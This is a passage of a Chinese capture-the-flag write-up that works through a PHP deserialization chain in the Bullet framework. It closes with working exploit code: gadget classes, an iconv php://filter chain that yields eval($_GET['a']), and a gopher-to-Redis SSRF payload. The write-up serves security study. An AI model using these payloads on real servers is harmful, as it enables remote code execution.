foreach($this->_responseHandlers as $handler) { //Applies any with a null condition or whose condition evaluates to true. if(null === $handler['condition'] || call_user_func($handler['condition'], $response)) { call_user_func($handler['handler'], $response); } } // Trigger events based on HTTP request format and HTTP response code $this->filter(array_filter(array($this->_request->format(), $response->status(), 'after'))); $this->_pop(); $this->_nestingLevel--; return $response; ``` 進入 `$this->response()` 看到 `:451,455` `:460` 追進 `$this->responseFactory($response)` ![](https://i.imgur.com/kAzFKgX.png) 看到 `:483` `$response` 會是 `\Bullet\Response` 來看看他是什麼東西 這邊因為我 `vscode` 有裝插件 `PHP Intelephense` 所以直接 `cmd+click` 就會自動把我帶到 `\Bullet\Response` 很方便 ![](https://i.imgur.com/xWEnRQQ.png) 進來看了一下 覺得來看他的 `__toString` ![](https://i.imgur.com/6tMQADc.png) 追進 `:412` `$this->content()` ![](https://i.imgur.com/rPBy1q5.png) 原來就是回傳 `$this->_content` 所以我們先回到 `$app->run()` ![](https://i.imgur.com/MvS0rqf.png) 現在已經知道 `:277` 的 `$response` 可以把他當成 `$content` 這個字串了 可是 `$content` 又是什麼東西呢 往上找找 ![](https://i.imgur.com/mqqwnrT.png) 看到 `$content` 是 `$this->_runPath($this->_requestMethod, $path);` 來看看 `$this->_runPath()` ![](https://i.imgur.com/SmlIHh7.png) 又來一個 `call_user_func` 而且 `$cb` `$request` 我們都可控 那就拿這個來 `RCE` 我們如果要拿到 `flag` 要執行 `system('/readflag give me the flag')` ![](https://i.imgur.com/THCMdsl.png) 來試著用這個來用用看吧 #### `system('/readflag give me the flag')` ##### step1: 設定好該有的 `property` 看到 `:265` 會呼叫的 `$this->_runPath()` 需要先滿足呼叫 `$this->_runPath()` 的條件 由 `:259` 得知 要把 `$this->_requestPath` 設出東西 才會進入迴圈執行到 `$this->_runPath()` <!-- 的參數 `$path` 後面進去會用到 先紀錄下來 --> 然後進入 `$this->_runPath()` ![](https://i.imgur.com/Oykn5Rc.png) 看到 `:320` 的 `call_user_func` 的參數 `$request` 可由 `:303` 設置 只要把 `$this->_request` 設成要的東西就好了 依照我們的情況 他應該要是 `__toString` 後會變成 `/readflag give me the flag` 的東西 至於 `:320` 的 `call_user_func` 的 `$cb` 從 `:318` 知道是 `$this->_callbacks['subdomain'][self::$_pathLevel][$subdomain];` 所以要把他設成 `'system'` 可是需要知道 `$subdomain` 是什麼 `:316` 可以看到是由 `$request->subdomain()` 來的 所以 `$this->_request` 需要符合上面那兩個條件 不過 `\Bullet\Request` 沒有 `__toString` 所以不能用來當 `$this->_request` 前面其實已經有翻過所有的 `__toString()` 了 符合 `__toString()` 條件的只有 `\Bullet\Response` 可是他又沒有 `$request->subdomain()` 那感覺這個地方沒有適合的 要去找其他的地方了 往下走看到了一個看起來有機會的 `:352` 他的參數控制點在 `:346` 所以我們要把 `$this->_callbacks['param'][self::$_pathLevel]` 設成 `['system', 'whatever']` 而且 `$path` 要是 `'/readflag give me the flag'` 然後要怎麼設置 `$path` 可以往上找 ![](https://i.imgur.com/lGvA8U6.png) <!-- 先看看 `$request->subdomain()` 是什麼東西 ![](https://i.imgur.com/DovDClC.png) 看到他會回傳 `$this->host()` `explode('.', .)[0]` 往下看到 `$this->host()` 會回傳 `$this->header('Host')` 看到 `$this->header('Host')` 會回傳 `$this->_headers['Host']` ![](https://i.imgur.com/F1zX4hx.png) --> 看到 `:1504` `$path` 跟 `$paths` 有關 往上找到 `:1503` 看到跟 `$this->_requestPath` 有關 找出 `$this->_requestPath` 會在 `:1845` 被設置成 `$this->_reqeust->url()` 看一下 `$this->_reqeust->url()` 知道要把 `$this->_reqeust->_url` 設成我們的東西 往上看到有東西會把 `$this->_reqeust->_url` 改掉 ![](https://i.imgur.com/WmJgOvx.png) `:238` 那就沒辦法控制 `$path` 了 qq 繼續往下翻 又看到一個可能的地方 ![](https://i.imgur.com/0wqvlDh.png) `:388` 看到了 `$request` 然後就知道這裡不行了(上面很多都是因為 `$request`)才不行的 那就回到 `run` 的那個 `call_user_func` 看看吧 想起上面就是為了完成那個地方才去找 `_runPath` 的 來看看 `_runPath` 的回傳值 ![](https://i.imgur.com/7jNRdz3.png) 看起來要用 `call_back` 去控制 不好控制 ![](https://i.imgur.com/YnMcCCS.png) #### 任意 `require` + `phpinfo()` to RCE 由這個配上前面任意呼叫可以達成任意 `require`, 所以可控檔案的話就可 RCE. ![Screenshot 2024-02-07 at 10.39.05 PM](https://hackmd.io/_uploads/SJi6Ra-oT.png) 透過前面我們可以任意呼叫 `phpinfo()`, 所以可以硬塞檔案給 server, server 會暫時存著檔案, 被上傳的檔案名稱會在 `phpinfo()` 裡面, 所以有可控檔案, 所以就可以 RCE 了. 詳情: https://github.com/roughiz/lfito_rce?tab=readme-ov-file . 到這邊想到, 都 LFI 了就直接 LFI2RCE 就好了, 沒必要再透過 `phpinfo()` ==. ```php // gadget.php <?php namespace Bullet\View { class Template { // Static config setup for usage protected static $_config = array( 'default_format' => '', 'default_extension' => 'php', 'path' => '', 'path_layouts' => null, 'auto_layout' => false // Automatically wraps specified layout ); // Template specific stuff public $_file = ''; protected $_fileFormat = ''; protected $_vars = array(); public $_path = ''; protected $_layout; protected $_templateContent; protected static $_layoutRendered = false; protected $_exists; // Content blocks protected static $_blocks = array(); public function path($path = null) { if (null === $path) { return ($this->_path) ? $this->_path : self::$_config['path']; } else { $this->_path = $path; $this->_exists = false; return $this; // Fluent interface } } public function format($format = null) { if (null === $format) { return $this->_fileFormat; } else { $this->_fileFormat = $format; return $this; // Fluent interface } } public function file($view = null, $format = null) { if (null === $view) { return $this->_file; } else { $this->_file = $view; $this->_fileFormat = ($format) ? $format : self::$_config['default_format']; $this->_exists = false; return $this; // Fluent interface } } public function fileName($template = null) { if (null === $template) { $template = $this->file(); } return $template . '.' . $this->format() . '.' . self::$_config['default_extension']; } public function vars() { return $this->_vars; } public function layout($layout = null) { if (null === $layout) { return $this->_layout; } $this->_layout = $layout; return $this; } /** * Read template file into content string and return it * * @return string */ public function content($parsePHP = true) { if (!$this->_templateContent) { // $this->exists(true); $vfile = $this->path() . $this->fileName(); // Include() and parse PHP code if ($parsePHP) { ob_start(); // Use closure to get isolated scope $view = $this; $vars = $this->vars(); $render = function ($templateFile) use ($view, $vars) { extract($vars); $renderedTemplate = null; try { require $templateFile; } finally { $renderedTemplate = ob_get_clean(); } return $renderedTemplate; }; $templateContent = $render($vfile); } else { // Just get raw file contents $templateContent = file_get_contents($vfile); } $templateContent = trim($templateContent); // Wrap template content in layout if ($this->layout()) { // Ensure layout doesn't get rendered recursively self::$_config['auto_layout'] = false; // New template for layout $layout = new self($this->layout()); // Set layout path if specified if (isset(self::$_config['path_layouts'])) { $layout->path(self::$_config['path_layouts']); } // Pass all locally set variables to layout $layout->set($this->_vars); // Set main yield content block $layout->set('yield', $templateContent); // Get content $templateContent = $layout->content($parsePHP); } $this->_templateContent = $templateContent; } return $this->_templateContent; } } }; namespace Bullet { class App { public $_callbacks = array( 'custom' => array() ); /** * Add a custom user method via closure or PHP callback * * @param string $method Method name to add * @param callback $callback Callback or closure that will be executed when missing method call matching $method is made * @throws InvalidArgumentException */ public function addMethod($method, $callback) { if (!is_callable($callback)) { throw new \InvalidArgumentException("Second argument is expected to be a valid callback or closure."); } if (method_exists($this, $method)) { throw new \InvalidArgumentException("Method '" . $method . "' already exists on " . __CLASS__); } $this->_callbacks['custom'][$method] = $callback; } public function __call($method, $args) { if (isset($this->_callbacks['custom'][$method]) && is_callable($this->_callbacks['custom'][$method])) { $callback = $this->_callbacks['custom'][$method]; return call_user_func_array($callback, $args); } else { throw new \BadMethodCallException("Method '" . __CLASS__ . "::" . $method . "' not found"); } } } }; ``` ```php // gen.php <?php require_once "gadgets.php"; $app = new Bullet\App(); $template = new \Bullet\View\Template(); // LFI2RCE // eval($_GET['a']); $template->_file = 'php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp'; $app->addMethod('previewCard', [$template, 'content']); $s = serialize($app); $protocol_host_port = "gopher://redis:6379/"; $path = "_*3 $3 set $16 Ching367436_1234 $" . strlen($s) . " $s QUIT"; $path = str_replace("\n", "\r\n", $path); $path = urlencode($path); $path = str_replace('+', '%20', $path); $url = $protocol_host_port . $path; system("echo $url"); ```